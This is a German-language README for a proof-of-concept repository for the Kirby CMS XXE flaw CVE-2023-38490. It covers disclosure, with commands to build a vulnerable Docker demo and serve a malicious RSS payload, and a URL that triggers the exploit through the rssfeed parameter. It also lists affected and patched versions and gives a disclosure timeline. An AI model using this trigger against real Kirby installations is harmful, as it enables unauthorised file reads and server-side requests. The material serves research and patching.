Kirby XML External Entity (XXE) - CVE-2023-38490 Exploit
Kirby < 3.9.6 XML External Entity
Exploit für CVE-2023-38490 / GHSA-q386-w6fg-gmgp.
Exploit-Demonstration
Erstellen und Ausführen der angreifbaren Demo-App:
cd docker
docker buildx build -t kirby-starterkit-3.9.5 .
docker run -d --rm -p 127.0.0.2:1337:80/tcp --name CVE-2023-38490 kirby-starterkit-3.9.5:latest
Serve the demo payload:
Hinweis: Wählen Sie eine Bindungsadresse, auf die der Docker-Container zugreifen kann.
popd
ruby -run -e httpd ./payload -p 9999 -b 192.168.0.225
Exploit auslösen:
xdg-open http://127.0.0.2:1337/rssfeed?feed=http://192.168.0.225:9999/xxe.rss
Wie und warum funktioniert es?
Die anfällige Funktion ist im Kirby-Core vorhanden, wird aber standardmäßig in Kirby Core, Kirby StarterKit oder Kirby PlainKit nicht verwendet. Das bedeutet, dass die Schwachstelle Sie bei der Standardkonfiguration nicht betrifft, aber durch benutzerdefinierte Entwicklung oder durch die Installation eines Plugins, das das betroffene Toolkit verwendet, eingeführt werden kann.
Weitere Details finden Sie im entsprechenden Artikel (EN 🇬🇧 oder FR 🇫🇷).
Referenzen
- Zielsoftware: Kirby
- Homepage / Anbieter: https://getkirby.com/
- Quellcode:
- Anfällige Versionen:
- <= 3.5.8.2
- 3.6.0-3.6.6.2
- 3.7.0-3.7.5.1
- 3.8.0-3.8.4
- 3.9.0-3.9.5
- Gepatchte Versionen:
- 3.5.8.3+
- 3.6.6.3+
- 3.7.5.2+
- 3.8.4.1+
- 3.9.6+
- Patches:
- Sicherheitshinweise:
Zeitleiste
- Woche 24 - Mo., 12. Juni 2023: Schwachstelle entdeckt von Alexandre ZANNI (@noraj), Penetrationstest-Ingenieur bei ACCEIS.
- Woche 24 - Di., 13. Juni 2023: Schwachstelle an den Herausgeber (Kirby) gemeldet von Alexandre ZANNI
- Woche 24 - Mi., 14. Juni 2023: Proof of Concept an den Herausgeber (Kirby) übermittelt von Alexandre ZANNI
- Woche 24 - Mi., 14. Juni 2023: RFC 9116 security.txt zu getkirby.com hinzugefügt
- Woche 24 - Do., 15. Juni 2023: Schwachstelle durch den Herausgeber (Kirby) bestätigt
- Woche 24 - Do., 15. Juni 2023: Veröffentlichung von Fixes und Patches geplant
- Woche 26 - Do., 29. Juni 2023: Schwachstelle unabhängig entdeckt von Patrick FALB (@dapatrese) bei FORMER 03.
- Woche 28 - So., 16. Juli 2023: Erstellung einer privaten GitHub-Sicherheitswarnung
- Woche 29 - So., 23. Juli 2023: CVE-ID angefordert
- Woche 29 - So., 23. Juli 2023: Schwachstelle durch den Herausgeber (Kirby) gepatcht
- Woche 30 - Mo., 24. Juli 2023: Alexandre ZANNI vom Herausgeber (Kirby) zur privaten Advisory eingeladen
- Woche 30 - Mo., 24. Juli 2023: Vorbereitung eines anfälligen Demo-Docker-Containers durch Alexandre ZANNI
- Woche 30 - Mo., 24. Juli 2023: CVE-ID CVE-2023-38490 registriert (reserviert)
- Woche 30 - Do., 27. Juli 2023: Öffentliche Veröffentlichung der GitHub-Advisory und der Patches
Haftungsausschluss
ACCEIS fördert oder ermutigt keine illegalen Aktivitäten. Alle Inhalte dieses Repositorys dienen nur zu Forschungs-, Bildungs- und Bedrohungserkennungszwecken.